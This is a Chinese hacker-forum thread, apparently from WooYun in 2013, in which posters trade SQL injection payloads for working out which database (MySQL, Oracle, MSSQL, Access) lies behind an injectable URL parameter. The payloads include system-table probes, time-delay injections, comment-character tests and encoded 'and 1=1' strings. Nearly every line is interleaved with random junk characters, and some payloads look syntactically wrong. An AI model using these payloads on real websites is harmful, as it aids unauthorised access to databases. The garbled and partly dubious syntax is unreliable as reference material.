一个注射点如何最快速确认是什么类型数据库
( V2 U+ W, F; h5 \5 ?. B! a9 Exsser (十根阳具有长短!!) | 2013-02-05 12:36
. Q" d/ P' ^% K假设这么一个注射点:4 o( R" N8 `/ r" {3 f; G
show.html?id=2& Q& c7 ~& c& e8 N
mysql:id=2 and version()>0
g) t/ B# x6 G' q+ a4 Doracle:id=2 and '1'||'1'='11
! q) r2 ~' @% |9 \& \其他的欢迎补充
! V1 N8 C' Z7 k9 g$ k' y) _3 l9 N& n1#
5 V' u4 J- L1 O N! D1 wupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47+ O) v* v# o+ D$ W% B0 a3 U
Access:! r& @+ E5 T" i, i$ |
aNd aSc(cHr(97))=97
- s! H. d3 W: z4 s) A% land exists(select id from MSysAccessObjects)
2 c: ?: E( C/ rSQL Server:* p' S' _' W% w/ {) l
and exists(select id from sysobjects)% t" o( ^; B y7 ?+ |
and length(user)>0- h% ~8 m4 T+ @+ {) G- ~
MySQL:
* d1 P8 K$ O7 ]* T8 Sand length(user())>0
5 I$ q$ E3 U; u |/ u8 l8 D2#5 m6 q) O2 v# M/ L3 a. C# ~
xsser (十根阳具有长短!!) | 2013-02-05 12:48
) F: }$ ~& B! `% f* K. n5 P@upload 如果这些都不是呢…( x. X- N7 p B: W" |$ F6 }
3#
; A; z$ i B$ W$ }& s, ~# [upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:033 l) @4 E/ a' ?' B" b
@xsser 不快速的,延时注入
1 q# [3 H/ J* a, @% E( }不知道这样写对不对
+ [% z& a: C3 M7 Kmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
" Y" K4 B v* n- Q+ Z: D8 n. Ymysql:id=2 and select benchmark(1e8,current_date());
- l# L& t5 c* n+ D( i* c4#. C# r2 A$ R( W
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
$ T. P1 b9 [& k" U( |" e最快的貌似是看报错信息( s6 H% V3 ~/ m( n) M
oracle error6 U5 l+ f j+ \5 @
mssql error% A9 h7 }; Y- W! N' a2 G6 N$ r
mysql error
" A' f) }; c' P) r+ }( r. |5#! N3 M3 ?/ j+ n% \6 i
Nimda (你们都是坏银~) | 2013-02-05 13:14
" D7 R- J/ @; T _& h7 ~小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
1 U' V$ X/ V( b8 g$ w" ]& j& `6#/ V( [* [7 }) g
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:210 N3 n; J$ H! l1 J( s3 C( }6 h
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:0 C: H7 }+ ?/ A" g
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符: @: I/ l9 v4 u9 K x4 T$ G. e" _
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。8 I1 u) G/ ]. w' d2 U7 O8 f
7#
2 ^" X' m5 {9 l1 O& F% _2 {! R_Evil (HackEnd) | 2013-02-05 13:333 P0 K6 V* v/ a* X9 ^0 u
PostgreSQL& ^8 F! _. V X1 j
8#: }6 W8 r2 `- B& t; `+ ^
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
' |8 l! ~4 H# E% Q/ T, D3 w切换编码 and 1=1
1 }" ~! Z. u2 T& s5 ?oracle:
' q7 m. |3 l; D) z p5 uCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)$ f6 e, K' [) U' |+ h. @, }
mssql:
\# S6 x% w4 `1 n, Y; ZCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)6 h, R" [4 m8 @7 O. N8 @- v
mysql:; w( r+ B* }7 w7 I8 B& G2 q- C. ~
CHAR(97, 110, 100, 32, 49, 61, 49)3 j) v: F; t: l% r# |
9#
( ?9 ^% O$ R3 Y+ Z6 Xxsser (十根阳具有长短!!) | 2013-02-05 14:31% T9 g, a" k- ?
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?! x/ j1 x0 n* ], r7 s1 {* v% {
10#
* C+ s+ P( c( _( d( T, r* t& N K, E5 p# [upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
6 U3 Z4 x% t) G6 u6 n@xsser 是奇葩数据库类型的么?! Z2 O" [7 d" V+ {/ ?7 Z
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
( Y* g6 C" V' A: a5 b; c' m1.是否可以使用特定的函数来判断,该数据库特有的
4 Q% h. m* I5 _4 O! G2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
& j4 Z. a5 Y' x" Q. ]3.是否可以编码查询
}7 C9 C+ M2 X4.是否显可以利用错信息
% k1 |- v/ J* j2 \5.是否存在数据库某些特性辅助判断
/ C2 S! A1 g4 N! E# v% S个人见解 O$ I4 Z4 R7 A
11#
) u0 l* V3 ^' {5 B3 ~/ {小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:554 J M& z: w* X5 V
已收藏,mssql可以直接看到错误提示的吧~7 l* P8 j2 @8 S
12#8 T) f4 G3 W, j: ]# m
Passer_by | 2013-02-05 15:097 o7 l3 p8 E: V$ V8 |! A4 s+ W
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
$ }% b3 q- d' Q4 ?; t( O% V/ n# |# Z' yfrom:http://zone.wooyun.org/content/260 |